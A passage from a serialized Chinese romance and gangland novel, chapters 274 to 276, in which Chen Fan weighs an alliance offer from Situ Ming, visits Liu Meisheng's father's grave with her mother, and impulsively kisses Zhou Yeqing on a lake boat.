柳媚笙的耳朵瞬间红了。
她看了我一眼,那眼神里有一种嗔怪,还有一种我说不清的东西。
兰馨则对我微微笑了笑,那笑容里有一种“我看透你了”的意味。
我不知道她说了什么,但大概能猜到。
周叶青似乎什么都没注意到,她做了个请的手势,引我们向那辆宾利走去。
“陈凡,你坐我的车吧。”她说,语气自然得不容拒绝道:“有些事情,我要和你在路上说。”
我看向柳媚笙,她微笑的点了点头,道:“你去吧,我和妈妈坐后面的车先回去休息。”
我和周叶青上了宾利。
周叶青亲自开车,我坐在副驾驶,车里有一种若有若无的香味,不是香水,更像是一种体香。
“能让周总开车,我可真是荣幸之至。”我双手交叉在脑后,随意靠在座椅上,这个姿势让我很是舒服。
“贫嘴!”周叶青笑骂,她的嘴角上扬。
我笑着看着周叶青,就那么认真的看着她。
“看我做什么?”
“看你好看,得亏我回来了,不然这辈子都看不到你这么漂亮的女人。”
“呵……”周叶青冷哼一声道:“你在真挚点,我就信了!”
我笑了笑。
周叶青看着窗外,沉默了一会,然后转过头看着我说道:“清迈的事,老爷子都告诉我了,谢谢你。”
“谢什么?”我笑了笑道。
“谢谢你帮周家守住了清迈港。”她顿了顿道:“也谢谢你,没让老爷子失望。”
我看着她。
“周老爷子帮了我很多,你也帮了我很多。”我说:“应该的。”
她点点头,又看向窗外。
沉默了几秒,我忽然说:“司徒鸣没死。”
她突然停顿了一下。
“什么?”
她转过头看着我!
“司徒鸣没死。”我重复了一遍,“而且,司徒明的死,是他这个哥哥亲手策划的。”
车厢里的空气仿佛凝固了。
司徒鸣杀了自己同父异母的亲弟弟,司徒明!
“为什么?”周叶青问道。
“为了继承权,司徒家的情况很复杂,司徒雄有私生子,司徒明就是,司徒鸣这些年可能一直是隐忍把,活着有其他的原因,在泰国,是司徒鸣主动联系的我,想要和我合作,除掉龙三爷,同时也除掉司徒家。”
“事出反常必有妖,司徒鸣意欲何为?”
“陈凡,你说司徒鸣这么做,有没有可能是为了洗白自己?或者是单纯的为了司徒晴?”
周叶青的反应极快,我直接问道:“你是怎么觉得?”
周叶青点了点头,道:“司徒家生意不干净,出事情是早晚的,司徒鸣现在跑了,司徒家乱成一锅粥,这时候司徒晴找上了你,然后要夺回家主,如果司徒晴成功,那她就是最干净的家主。”
“因为赢了后,势必要重组司徒家的生意!”我一阵见血。
“这么想,一切都行的通了。”周叶青接着说道:“司徒鸣带着司徒宇离开,他应该已经拿走了许多资产,然后国内交给司徒晴,这样整个就在还是落在他的手里。”
呼!
我长舒了一口气,道:“难道我们被司徒晴耍了?”
“不,我觉得司徒晴并不直到,她也在被利用,被她父亲利用。”
“我觉的也不像,司徒晴没有那个心机制造这么大的骗局。”
周叶青点了点头,道:“现在是金三角那边乱了。”
“龙三爷这段时间动作很大,他不只是想要清迈港,他想要整个金三角的控制权。司徒家在那边也有利益,而且不小。龙三爷这么一搅和,司徒家的损失至少这个数。”
她伸出三根手指。
三亿?三十亿?都有可能。
“司徒雄想拉上周家,一起对付龙三爷。”她继续说,“但老爷子没答应。”
“为什么?”
她转过头看着我,眼神里有一种复杂的情绪。
“因为周家最小。”
她顿了顿,解释道:“金三角那块的利益,本来是三足鼎立,司徒家最大,占了四成;龙三爷次之,占了三成半;周家最小,只占两成半,剩下的半成,是些散户。”
“如果龙三爷和司徒家打起来,无论谁赢,最后都会盯上周家这块肥肉,司徒雄现在要拉拢我们,是因为他需要帮手,但等他把龙三爷打下去,下一个就是我们。”
我看着她的眼睛。
“所以周家打算怎么办?”
她微微一笑,道:“不站队,不插手,让他们先打,等他们两败俱伤,我们再……”
她没有说完,但意思已经很清楚。
坐山观虎斗。
渔翁得利。
“这是老爷子的意思?”我问。
“是。”她点头,“也是我的意思。”
我看着她。这个看起来精致如瓷偶的女人,骨子里竟然有这种杀伐决断。
“那你今天来接我,不只是为了送柳媚笙母女吧?”
她笑了,那笑容里有一丝欣赏。
“陈凡,你果然很聪明。”
她坐直身子,正色道:“我需要你帮我做一件事。”
“什么事?”
“盯着司徒鸣。”
她看着我,眼神认真而专注。
“去见一见司徒鸣。”
我眉头一皱。
“见他?”
“对。”她点头。
“你让我去做卧底?”
“不是卧底。”她摇头道:“是……探路。我需要知道他的真实意图,需要知道他手里有什么牌,需要知道他对我、对周家,到底是什么态度。”
我沉默了几秒,并没有马上答应周叶青。
“如果司徒鸣想洗白自己,我们可以帮助他,只要我们能控制住司徒晴就可以,这样多了一个人对付司徒雄,何乐而不为。”
“你真是把敌人的敌人就是朋友这个理论,奉行道极致!”
我无奈的抽了一口烟。
周叶青微微皱起眉头,她似乎不太喜欢烟草味道,可还是没有阻止我抽烟。
周叶青将车停在了一个别墅前面,道:“专门给你的女人柳媚笙安排的。”
我笑了笑:“谢谢你,没把她和夏颜放在一起。”
她不置可否的一笑,然后招了招手。
柳媚笙站在门口,看着我,似乎有话和我说。
我向她走了过去。
“陈凡。”她忽然开口。
“嗯。”
“妈妈刚才在飞机上跟我说……”
她顿了顿,脸微微红了。
“说什么?”
她抬起头看着我,眼神里有一种复杂的情绪——有爱,
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有担忧,有不安,也有一种倔强的坚定。
“她说,让我看住你。”
我一愣。
“她说周家大小姐太漂亮了,让我小心点。”柳媚笙的嘴角微微弯起,那笑容里有一丝酸意,也有一丝自嘲,“她还说,像你这样的男人,肯定很多人盯着。”
我看着她。
“那你呢?”我问,“你怎么说?”
她看着我,看了好几秒,然后忽然笑了。
“我说,不用看。”
她踮起脚,在我唇上轻轻印了一下。
“我相信你。”
她转身,快步走向别墅,没有回头。
我站在原地,看着她的背影消失在门后。
周叶青坐在车里,看着这一幕,嘴角有一丝淡淡的笑意。
“柳媚笙是个秒人……”她说。
我笑了笑,道:“你好像很喜欢她。”
“我喜欢聪明的人……”
周叶青笑着道:“你快去陪陪她们把。”
我点了点头,然后走向别墅,当我推开门。
“回来了?”兰馨笑着问我。
“嗯。”
兰馨也看着我,目光里有慈祥,也有一种丈母娘看女婿的审视,她轻轻拍了拍女儿的手,站起身。
“陈凡还没吃饭吧?我去给你们热点。”
“伯母不用麻烦了……”
“不麻烦。”她摆摆手,已经向厨房走去,“你们聊。”
客厅里只剩下我和柳媚笙,她向我伸出手,我走过去,在她身边坐下。她靠过来,头抵在我肩上,轻轻叹了口气。
“累吗?”我问。
“不累。”她说,声音闷闷的,“就是有点不真实。”
“什么不真实?”
“这一切。”她抬起头,看着这个装修精致、家具齐全的客厅,“昨天还在芭提雅的枪林弹雨里,今天就坐在这么舒服的沙发上,妈妈在厨房给我热饭……像做梦一样。”
我揽着她的肩膀,没有说话。
她沉默了一会儿,忽然问:“周叶青找你什么事?”
我没有瞒她:“司徒鸣的事。”
她抬起头,眉头微皱:“司徒鸣?”
“周叶青让我去见见他。”我说,“看看他想干什么。”
“危险吗?”
“不知道。”
她咬了咬下唇,然后说:“我陪你去。”
“不行。”
“陈凡!”
“不是不让你去。”我打断她,“是现在不行,你刚回来,伯母也需要你陪。司徒鸣那边,我自己能处理。”
她看着我,看了好几秒,最后轻轻叹了口气。
“陈凡,你知道吗?我最怕的就是你这种什么都自己扛的样子。”
我看着她。
“我扛得住。”
“我知道你扛得住。”她伸出手,轻轻抚着我的脸,“但我不想你一个人扛,你忘了吗?我们说好的,一起走这条路。”
我没有再说话,只是把她揽得更紧了一些。
兰馨很快端出热好的饭菜,简单的三菜一汤,但都是用心做的。柳媚笙拉着我坐到餐桌前,自己也拿起筷子陪我吃。其实她在飞机上吃过,但还是夹了几筷子菜,陪我一起。
兰馨坐在旁边,看着我们吃,嘴角一直挂着笑。那笑容里有欣慰,有满足,还有一丝我看不太懂的情绪。
吃完饭,又坐了一会儿,兰馨先起身。
“我困了,先去睡了。”她看了看我们,犹豫了一下,然后轻声说,“你们也早点休息。房间都收拾好了,小笙的房间在二楼左边,陈凡的房间在右边。”
柳媚笙的脸微微红了一下。
兰馨上楼后,客厅里又只剩下我们两个。
柳媚笙看着我,眼神里有光在闪。
“陈凡。”
“嗯。”
“你睡哪边?”
我看着她的眼睛。
“你说呢?”
她笑了,那笑容里有一种得逞的狡黠。
十点半,我们上了楼。
柳媚笙的房间在二楼左边,很大,有一张宽大的床,落地窗外是别墅区的夜景。我们进去后,她关上门,靠在门板上看着我。
“陈凡。”
“嗯。”
“今晚,陪我。”
我没有说话,只是走过去,把她揽进怀里……
274柳媚笙的美丽!
柳媚笙的话,点燃了我心中的欲望。
我忽然低头吻她,她热烈的回应着我,她的手攀上我的肩,手指**我的头发里,整个人挂在我身上,就像是一个考拉挂在了我的身上。
不知过了多久,我们终于停下来,然后并排躺在床上,喘着气。柳媚笙把头靠在我肩上,手指在我胸口轻轻划着圈。
“陈凡。”
“嗯。”
“你说,妈妈听到了怎么办?”
我愣了一下,然后忍不住笑了。
“现在才担心这个?”
她在我腰间轻轻掐了一下,嗔道:“都怪你。”
我翻身看着她:“怪我什么?”
“怪你太……”
她没有说完,因为我又吻了上去。
这一个晚上,我不知疲倦的要了柳媚笙很多次。
直到我累得沉沉的睡去,第二天早上,我是被楼下的说话声给吵醒的。
我赶紧起床,洗漱,下楼。
客厅里,柳媚笙和兰馨正坐在餐桌前吃早餐,她们靠得很近,正在说什么,柳媚笙脸上带着笑,兰馨也笑着,那画面温馨而美好。
看到我下楼,柳媚笙的脸微微红了一下,她飞快地看了母亲一眼,然后低头喝粥。
兰馨倒是一脸平静,只是看我的眼神里,多了一丝意味深长。
“陈凡起来了,快来吃早餐。”她招呼我:“粥还热着,小菜在桌上。”
我在柳媚笙旁边坐下,她给我盛了一碗粥,推到我面前,眼睛却不敢看我。
兰馨看着我们,嘴角有一丝若有若无的笑意。
沉默地吃了一会儿,兰馨忽然开口。
“昨晚睡得好吗?”
柳媚笙呛了一下,差点把粥喷出来。
我面不改色:“还好。”
兰馨点点头,慢条斯理地说:“年轻人嘛,精力旺盛,我理解,不过……”
她顿了顿,看了我们一眼。
“还是要节制一点,日子长着呢,不急在这一时。”
“妈,你在说什么呢?”
柳媚笙的脸瞬间红透了,红到耳根,低着头,恨不得把脸埋进碗里。
我也有点尴尬,但面上还是稳住了。
“伯母说得对。”
兰馨看着我们,忽然笑了,那笑容里有慈爱,有释然,还有一丝促狭。
“行了,不逗你们了。”她站起身道:“我去收拾一下。不是说今天要去看你爸爸吗?早点准备。”
她上楼后,柳媚笙终于抬起头,狠狠瞪了我一眼。
“都怪你!”
我忍不住笑了。
“怪我什么?”
她咬着下唇,想说什么,最后只是哼了一声,继续低头喝粥。
但她的手,在桌子下面,悄悄握住了我的手。
一个小时后,我们出门了。
周明安排了车,是一辆低调的黑色商务车。他说要派人跟着,被我拒绝了,我们今天是去看柳文山,不是去打仗,不需要那么多人。
车子驶出别墅区,汇入上城的车流。柳媚笙和兰馨坐在后座,母女俩靠在一起,看着窗外熟悉的街景。兰馨的眼睛有些红,但一直忍着没哭。
墓园在上城西郊,依山傍水,环境清幽。车子在山脚停下,我们步行上山。
柳文山的墓在半山腰,是一块简单的黑色石碑,上面刻着“先父柳文山之墓”,旁边是柳媚笙的名字,石碑前摆着几束已经干枯的花,应该是柳媚笙之前来祭拜时留下的。
兰馨站在墓前,看着那块石碑,眼泪终于忍不住流了下来。
“文山……”她轻声叫着那个名字,颤抖着声音道:“我来看你了……对不起,让你等了这么久……”
柳媚笙扶着她,也红了眼眶。
我退后几步,把空间留给她们。
兰馨在墓前蹲下,伸手轻轻抚摸着墓碑上的字。她的手指颤抖着,一笔一划地描摹,像是在抚摸一个久别的人。
“文山,这些年你一个人,一定很孤独吧。”她的声音哽咽着:“对不起,我没能陪你到最后,我也没有办法……”
柳媚笙扶起她,轻轻抱住。
“妈,爸爸不会怪你的,他知道的,他都知道的。”
兰馨靠在女儿肩上,哭得像个孩子,柳媚笙拍着她的背,轻声安慰着,自己的眼泪也止不住地流。
我在旁边默默站着,看着这一幕。
柳文山。
一个我没见过的男人,一个被龙三爷夺走妻子的男人,一个独自抚养女儿长大、把女儿教得这么好的男人,他等了她二十三年,最后还是没有等到。
但今天,她来了。
虽然晚了二十三年,但她来了。
不知过了多久,兰馨的哭声渐渐平息,她擦了擦眼泪,从随身的包里拿出一个小盒子。
盒子里是一封信,信封已经泛黄,但保存得很好。兰馨把信放在墓前,轻声说:
“文山,这是你当年写给我的最后一封信。我一直留着,一直带在身边,这些年,每次想你的时候,我就拿出来看看……”
她的声音又哽咽了。
“现在,还给你。”
柳媚笙也拿出一束鲜花,是路上买的白色菊花,她把花放在墓前,跪下磕了三个头。
“爸,我来看你了。”她的声音很轻的说道:“这些年,我过得还好,遇到了一些事,也遇到了一些人,妈回来了。以后我们会经常来看你的。”
她起身,看了我一眼。
我走过去,也在墓前鞠了三个躬。
“伯父。”我说,“我叫陈凡,以后,柳媚笙我来照顾。”
柳媚笙看着我,眼眶又红了,但这次她在笑。
兰馨也看着我,目光里有感激,也有欣慰。
我们在墓前又站了一会儿。
“走吧。”兰馨轻声说:“让他安息。”
我们转身,慢慢走下山。
走到山脚时,柳媚笙忽然回头看了一眼,半山腰的墓碑在秋日阳光下静静矗立,像一个人站在那里,目送我们离去。
“爸,我们走了。”她轻声说,“下次再来。”
我们上车,车子缓缓驶离墓园。
从墓园回来的路上,车里一直很安静。
柳媚笙靠在母亲肩上,闭着眼睛,不知道是睡着了还是只是在休息。兰馨看着窗外,目光悠远,偶尔抬手擦一下眼角。我坐在副驾驶,看着前方不断延伸的街道,脑海里翻涌着各种念头,司徒鸣的事,龙三爷的事,还有周叶青今天说的那些话。
车子驶回别墅时,已经是傍晚。
兰馨下车时,脚步有些虚浮,柳媚笙连忙扶住她。
“妈,你没事吧?”
“没事。”兰馨勉强笑笑,“就是有点累,毕竟年纪大了,坐飞机又去墓园,折腾了一天。”
柳媚笙扶她进屋,我提着从墓园带回的东西跟在后面。
晚饭是柳媚笙做的,她不让兰馨动手,自己系上围裙进了厨房,我在客厅陪兰馨
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坐着,电视开着,但谁也没看。
兰馨靠在沙发上,闭着眼睛休息了一会儿,然后睁开眼看着我。
“陈凡。”
“嗯。”
“小笙这孩子,从小就不会做饭。”她轻声说,嘴角带着一丝笑意,“她爸爸宠她,从来不让她进厨房,后来我走了,她爸爸更舍不得让她干活,一直都是请人做。”
我安静的听着,没有打断。
“现在她能做一桌子菜,肯定是这些年一个人练出来的。”兰馨的眼眶又有些红道:“吃了多少苦,才能练成这样。”
“伯母。”我开口道:“以后不会再让她吃苦了。”
兰馨看着我,目光里有欣慰,也有一种复杂的情绪。
“陈凡,我知道你是个好孩子。”她轻声说道:“但有些话,伯母想跟你说。”
“您说。”
她坐直身子,看着我,眼神认真而慈祥。
“小笙这孩子,表面上看着精明能干,心里其实比谁都软。她太容易相信人,也太容易付出真心。这些年,我不知道她经历过什么,但我能看出来,她对你是真心的。”
她顿了顿。
“所以伯母求你一件事,以后不管发生什么,不管遇到什么人什么事,别辜负她。”
我看着她的眼睛,那里面有母亲的担忧,有母亲的期盼,也有母亲二十三年缺席的愧疚。
“我不会。”我说。
她点点头,眼眶又红了。
“好,伯母信你。”
厨房里,柳媚笙端着一盘菜走出来,看到我们说话,好奇地问:“聊什么呢?”
兰馨连忙擦了擦眼角,笑着说:“聊你呢,说你现在会做饭了,比妈妈强。”
柳媚笙脸微微红了,把菜放在桌上,又转身回厨房。
晚饭很丰盛,四菜一汤,都是家常菜,但味道不错。柳媚笙有些紧张地看着我们,等我们动筷子。
兰馨尝了一口,眼眶又红了。
“好吃。”她说,声音有些哽咽,“比我做的好吃多了。”
柳媚笙的眼眶也红了,但她笑了,那笑容里有委屈,有释然,还有一种终于被认可的满足。
吃完饭,柳媚笙收拾碗筷,兰馨上楼休息。我一个人走到院子里,点了一支烟。
手机震动,我打开一看,是周叶青发来的消息。
“司徒鸣给我来电话了,说明天想见你。”
我心里不免震惊,司徒鸣这么快就联系周叶青了?
我不得不回复一个字:“好!”
我收起手机,继续抽烟。
忽然身后传来轻轻的脚步声,柳媚笙走出来,站在我身边。
“怎么了?”她问。
“没什么。”我掐灭烟道:“司徒鸣那边来消息了,明天见面。”
她沉默了几秒。
“我陪你去。”
“不用。”
“陈凡。”她的声音很轻,但很坚定道:“我知道你不想让我涉险,但我也知道,你现在需要人在身边。我不进去,就在外面等着。万一有什么事,至少有个照应。”
我看着她,她的脸格外柔和,可眼神却非常的坚定!
“好。”我说。
她笑了,靠在我肩上。
“陈凡。”
“嗯。”
“你说,我们还能这样多久?”
我揽着她的肩膀,看着远处的星空。
“很久。”
她抬起头看着我。
“真的?”
“真的。”
275偷亲周叶青(上)!
第二天下午。
我准时出现在司徒鸣指定的地点,他挑选的一家上城私人会所。
这个会所很隐蔽,藏在一个不起眼的老洋房里,没扣也没有任何的招牌。
我真正感慨的是,司徒鸣的速度真的很快,我刚从清迈回来,他也跟着回来了,而且他还能和周叶青联系上,要知道,周家和司徒家可是不对付。
我按了门铃,一个穿着黑西装的男人给我开了门,然后请我进去。
我看了一眼柳媚笙,我让她在车里等我,周明陪着她,我们约好了,如果两个小时我还没出来,她就报警。
我跟着那个西装男人穿过一条走廊,来到一个包间门口,他推开门,示意我进去。
这个包间很大,装修得古色古香,红木家具,名家字画,角落里的香炉燃着淡淡的檀香。
一个男人站在窗前,背对着我。
他穿着一身深灰色的定制西装,身形修长,站姿笔挺。听到脚步声,他缓缓转过身。
司徒鸣!
尽管已经几个月没有看到他了,这个曾经上城首富,还是给了我很深的压制感!
我不能掉以轻心!
“陈凡。”他开口,声音低沉而平稳,“好久不见。”
“是真的好久不见。”我说。
他微微勾起嘴角,那笑容里没有温度。
“坐。”他请我坐下。
“你为什么要见我?”我问司徒鸣。
“为什么?”我问。
他看着我,眼神里有一丝玩味。
“为什么?因为老爷子想把家业给司徒明,因为他比我小二十多岁,他从小就是老爷子的心头肉,因为我做了二十年的准备,兢兢业业,不敢行差踏错一步,最后却要被一个什么都不懂的毛头小子取代。”
他的声音依然平静,但说到最后,眼底闪过一丝阴鸷。
“你觉得这公平吗?”司徒鸣问我。
我没有回答。
他等了几秒,然后自嘲地笑了。
“我知道,你觉得不公平。但那又怎样?这世界本来就不公平,我只是自己动手,把公平拿回来而已。”
我看着他的眼睛。
“他是你亲弟弟。”
他的眼神波动了一下,但很快恢复平静。
“亲弟弟又如何?在这条路上,亲爹亲娘都能出卖,何况弟弟。”
我沉默了几秒。
“你今天找我来,就是为了告诉我这些?”
他摇摇头,端起茶杯又喝了一口。
“当然不是。”他放下杯子,看着我道:“我想跟你合作。”
“合作什么?”
“对付龙三爷。”
我眉头微皱。
“周叶青应该告诉你了,金三角那边现在很乱,龙三爷那个老疯子,让我损失了至少三个亿,还有十几个弟兄。”他的眼神冷了下来,“这笔账,我要讨回来。”
“如果不是你在中间挑拨,杀了龙小玉,龙三爷不会如此。”我说道。
“龙三爷又不是只有一个孩子,他还有龙威,他不过就是找个机会想要拿下金三角那边的生意。”司徒鸣喝了一口茶道。
“那你为什么找我?”我问。
“因为你打过他。”他说道:“清迈那一仗,你带着周家的人,把龙三爷的人打得落花流水,龙威那小子,据说被你打得抱头鼠窜,这种战绩,在金三角可不多见。”
他顿了顿,身体微微前倾。
“而且,你和龙三爷也有仇。他差点杀了柳媚笙,还囚禁了她母亲二十三年,这笔账,你不想讨回来?”
我看着他的眼睛。
“你想让我做什么?”
“很简单。”他说道:“帮我打回去,你的人,加上我的人,两面夹击。周家那边,我可以给他们让利,只要拿下龙三爷,金三角重新洗牌,我只要我该得的那份,剩下的,你们分。”
“你不怕我转头告诉周家?”
他笑了,那笑容里有一种笃定。
“你不会的。”
“为什么?”
“我需要时间考虑。”最后我说。
他点点头,似乎早有预料。
“可以,但别太久。”他站起身,走到窗边,背对着我,“龙三爷不会给我们太多时间,他在缅甸已经集结了至少两百人,随时可能反扑。”
我站起身,推开了门,然后走了出去。
柳媚笙看见我出来了,她松了一口气。
“怎么样?”
“回去说。”
我靠在椅背上,闭着眼睛,脑海里反复回放着和司徒鸣的对话。
他说的那些话,有多少是真的,有多少是假的?他找我合作,是真心想对付龙三爷,还是另有所图?周叶青那边,我又该怎么说?
这些问题,暂时没有答案。
车子在别墅门口停下,柳媚笙看着我,眼神里有关切。
“陈凡,你没事吧?”
我睁开眼,看着她。
“没事。”
她握住我的手,没有追问。
我们下车,走进别墅。
兰馨正在客厅里织毛衣,不知道从哪找来的毛线和针,织得有模有样,看到我们回来,她抬起头。
“回来了?饿不饿?我熬了汤。”
“不饿,妈。”柳媚笙走过去,在她身边坐下道:“您还会织毛衣?”
兰馨笑了,那笑容里有少女般的羞涩。
“年轻时候学的,那时候穷,买不起好的,就自己织。你小时候的毛衣毛裤,都是妈妈织的。”
柳媚笙的眼眶红了,她靠在母亲肩上,轻声说:“妈,给我织一件吧,我要红色的。”
“好。”兰馨轻轻拍着她的手,“织,给你织。”
我在旁边看着她们,心里那些纷乱的念头,忽然平静了一些。
有她在,我很幸福。
晚上,柳媚笙睡下后,我走到院子里,拨通了周叶青的电话。
她很快接起,问道:“谈的怎么样?”
我把和司徒鸣的对话简单说了一遍。
她听完,沉默了几秒。
“你怎么看?”
“他的话,半真半假。”我说,“想对付龙三爷是真的,但背后肯定还有别的目的。”
“什么目的?”
“不知道。”
周叶青沉默了一会儿。
“陈凡,你要小心,司徒鸣这个人,比他弟弟危险得多。他能亲手杀了自己的亲弟弟,就不会对任何人心软。”
“我知道。”
“那你打算怎么办?”
“先拖着。”我说,“等看清他的底牌再说。”
“好。”周叶青说,“有什么需要,随时找我。”
我的手机又震了一下,我低头一看是柳媚笙发来的信息:还在外面?快进来,外面冷。
我看着那条信息,嘴角不自觉地弯了起来,我知道她这是想我了。
我上楼,轻轻推开她的房门。
她还没睡,靠在床头,手里拿着那串**项链,看到我进来,她笑了。
“回来了?”
“嗯。”
我走过去,在她身边躺下,她靠过来,把头埋在我怀里。
“陈凡。”
“嗯。”
“不管发生什么,我都陪着你。”
我轻轻摸着她的头,自从兰馨回来后,柳媚笙整个人都变的柔软了。
她甚至开始喜欢照顾我,和我撒娇。
“自从阿姨回来了,你好像变成良家妇女了。”
“讨厌!怎么?不喜欢?”柳媚笙笑着问我。
“没有,喜欢!”
“陈凡,这辈子,我只要你。”
我轻轻拨开她额前的碎发,在她眉心印下一吻。
这一晚,她缠着我要了许多次,第二天早上醒过来的时候,我觉的我的腰都要断了。
我起身,轻手轻脚的拿走了衣服,因为我要去见一个人,那就是周叶青。
周叶青忽然和司徒鸣合作,让我内心有点不安,毕竟当初周叶青当初是让我来对付司徒家的,现在竟然成了合作伙伴。
我担心的是,会不会有一天,周叶青也和别人联手对付我?
于是我决定铤而走险!
我拿出手机,给周叶青发了一条信息:今天有空吗?想见你。
消息发出去后,没一会儿,我的手机就收到消息。
周叶青的回复只有两个字:几点?
我回:十点,地方你选。
她回:城西有个湖,环境不错,适合聊天,我十点在那儿等你,定位发你。
我看着那个定位,嘴角微微弯起。
她答应了。
我收起手机,回头看了一眼床上还在熟睡的柳媚笙,她翻了个身,抱着枕头,脸上还带着浅浅的笑意。
我走过去,俯身在她耳边轻声说:“我出去一趟,中午回来。”
她迷迷糊糊地“嗯”了一声,也不知道听没听见。
我换上衣服,出门。
九点五十分,我到达那个湖。
湖不大,但很美,
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秋天的湖水清澈见底,倒映着岸边的垂柳和远处的山峦。
码头上停着一艘小船,是那种古色古香的画舫,有顶棚,有木桌,还有两把椅子,周叶青站在船头,背对着我,看着远处的湖面。
她今天穿了一身月白色的长裙,外罩一件淡灰色的风衣,长发披散在肩上,被秋风吹起几缕,阳光照在她身上,把她整个人都镀上了一层柔和的光晕。
听到脚步声,她转过身。
那一瞬间,我忽然有一种错觉,仿佛我不是来谈正事的,而是来赴一场风花雪月的约会。
“来了?”她微微一笑。
“嗯。”
“上船吧。”
我跳上船,她解开了缆绳,小船轻轻晃动,慢慢向湖心漂去。
船不大,两个人坐着刚好。
她坐在我对面,中间隔着一张小小的木桌,桌上摆着一壶茶和两个杯子,茶还冒着热气。
“什么时候准备的?”我问。
“早上。”她给我倒了一杯茶,推过来道:“尝尝,今年的龙井。”
我端起茶杯,抿了一口,茶很香,但我不懂茶,喝不出好坏。
她也不介意,自己也端起茶杯,轻轻抿了一口,然后放下,看着远处的湖面。
“为什么约我?”她先开口问我。
我看着她。
“就想约你了。”
她愣了一下,然后笑了,那笑容里有一丝意外。
“这不像你会说的话。”她说。
“那什么样的话像我说的?”
她想了想,说:“开门见山,直奔主题,比如,司徒鸣昨天跟你说了什么?你有什么打算?”
我也笑了。
“那是谈正事,今天不是谈正事。”
“那今天是谈什么?”
我看着她的眼睛,那双眼睛清澈见底,却又深不见底,像这湖水一样。
“谈……清迈的事。”
她的眼神微微波动了一下。
“清迈怎么了?”
我沉默了几秒,然后开口。
“那天晚上,我差点**。”
她没有说话,只是静静地看着我。
“龙三爷的人包围了我们,**从耳边飞过去,**就在身边炸开,达叔**,我的人**好几个,柳媚笙差点……”
我没有说下去。
她等着。
“那一次,让我想明白一件事。”我看着远处的湖面,“人这辈子,不知道什么时候就没了,有些事,不做就来不及了。”
她沉默了一会儿,轻声说:“所以呢?”
“所以……”我转过头看着她,“我有遗憾。”
“什么遗憾?”
我没有回答,只是看着她。
“陈凡?”她微微歪了歪头。
我站起身。
小船晃了一下,她连忙扶住桌沿。
“你干什么?”
我没有说话,只是走到她面前,俯下身。
她的眼睛睁大了。
然后,我吻了上去。
那一瞬间,时间仿佛静止了。
她的唇很软,带着茶的清香,她没有动,就那么愣愣地让我吻着,眼睛还睁着,满是不可置信。
一秒,两秒,三秒……
她终于反应过来,猛地推开我。
“陈凡!你!”
她的脸红了,从脸颊一直红到耳根,她张着嘴,想说什么,却什么都说不出来,只是瞪着我,眼神里有震惊,有羞恼!
我看不清那丝是什么。
我坐回自己的位置,端起茶杯,喝了一口。
“这就是我的遗憾。”我说。
她瞪着我,胸口微微起伏着。
“你……你知道你在做什么吗?”
“知道。”
“那你还敢这么对我?!”
“就是因为知道,所以才做。”我放下茶杯,看着她,认真道:“周叶青,有些事,不做,会后悔一辈子。”
“陈凡,你知道吗?”她轻声说,“你是第一个敢这样对我的男人。”
我没有说话。
“从小到大,所有人都捧着我不假辞色,所有人都敬着我畏着我。没有人敢……”
她没有说完。
我替她说完:“没有人敢亲你。”
她的脸又红了,这次连耳朵都红了。她瞪了我一眼,那眼神里有嗔怪,却没有真正的怒气。
“你就不怕我生气?”
“你生气了吗?”
她张了张嘴,想说什么,最后只是哼了一声,转过头去不理我。
276偷亲周叶青(下)!
我看着她的侧脸,她脸上的红晕还没完全褪去,在阳光下,显得格外的好看。
“周叶青。”
她没理我。
“周叶青。”我又叫了一声。
她还是没理。
我忽然笑了。
“原来周家大小姐也会生气。”
她终于转过头,瞪着我。
“陈凡,你别得意,等回去我再跟你算账。”
“好,回去再说,但现在,我们还在湖上。”
她愣了一下,然后也忍不住笑了。
“你这个人……真是……”
她没有说完,但我知道她想说什么。
真是无赖。
真是胆大包天。
我们都没再说话,就那么静静地坐着,但我知道,有些东西已经不一样了。
刚才那一吻,我不后悔,如果不亲她,我才会真的遗憾。
不知过了多久,船漂到了湖的另一边。远处能看到码头和来时的栈道。
周叶青终于开口。
“陈凡。”
“嗯。”
“今天的事……就当没发生过。”
我看着她,她也在看我。
“你确定?”我试探性问。
她沉默了几秒,然后轻轻叹了口气。
“不确定,但……只能这样。”
我没有追问,有些事,不需要问得太清楚。
船靠岸了,她站起身,准备下船。
“周叶青。”
她停住,没有回头。
“谢谢你今天来。”
她沉默了一会儿,然后轻轻说:“不客气。”
她跳下船,风吹起她的长发和裙摆,在秋日的阳光下,美得像一幅画。
我一直看着她,直到她的身影消失在栈道尽头。
回到别墅时,已经是中午。
柳媚笙已经起来了,正在厨房里忙活,兰馨坐在客厅的沙发上织毛衣,看到我进来,抬起头笑了笑。
“回来了?”
“嗯。”
“小笙在做饭,说等你回来吃。”
我点点头,走到厨房门口。
柳媚笙系着围裙,正在炒菜。
听到脚步声,她回过头。
“回来了?饿了吧?马上好。”
她对我笑了笑,那笑容明媚得像窗外的阳光。
我靠在门框上,看着她。
“看什么?”她脸微微红了。
“看你。”
她白了我一眼,转过身继续炒菜,但嘴角的笑意藏不住。
午饭很丰盛,三菜一汤,我们三个人围坐在一起,吃着饭,聊着天,兰馨问我去哪了,我说去办点事,她没有追问,只是看了我一眼,那眼神里有一种过来人的了然。
柳媚笙没有问。她只是不停地给我夹菜,把我的碗堆得满满的。
“多吃点,你最近瘦了。”
我看着碗里的菜,又看看她。
她的眼睛亮亮的,脸上带着笑,完全是一个沉浸在幸福里的小女人。
我忽然有一瞬间的恍惚。
如果她知道我今天早上做了什么,她还会这样对我笑吗?
忽然我手机来了消息,是周叶青的。
“司徒鸣那边有新情况。”
“看什么呢?”柳媚笙问我。
“没什么。”
“骗人,你每次想事情的时候,眉毛就会微微皱起来,自己都没发现。”
我愣了一下,然后笑了。
“这么了解我?”
“当然。”她重新靠回我肩上,“你是我男人,我不了解谁了解。”
“司徒鸣那边有新情况,周叶青约我见面。”
她点点头,松开抱着我的手。
“去吧,小心点。”
我笑着点了点头,在她的脸上轻轻的亲了一下。
周叶青约定的地方,在城东一处私人会所。
周叶青坐在院子里的石桌旁,面前摆着一壶茶和两个杯子。
听到我的脚步声,她抬起头。
四目相对的那一瞬间,我看到了她眼底一闪而过的复杂情绪,但很快,那些情绪就被她给压了下去,随即换上一副平静淡然的面孔。
“来了。”她说,语气和平时一样,听不出任何异样,“坐。”
我在她对面坐下,她给我倒了一杯茶,推过来。
“司徒鸣那边,出了什么事?”
她端起自己的茶杯,轻轻抿了一口,然后放下。
“他背着我,联系了其他人。”
我眉头微皱。
“谁?”
“龙三爷的人。”
“他想干什么?”我问。
周叶青看着我,眼神里有凝重。
“不知道。但我的人查到他最近和一个缅甸号码频繁联系,那个号码的归属地,是龙三爷的地盘。”
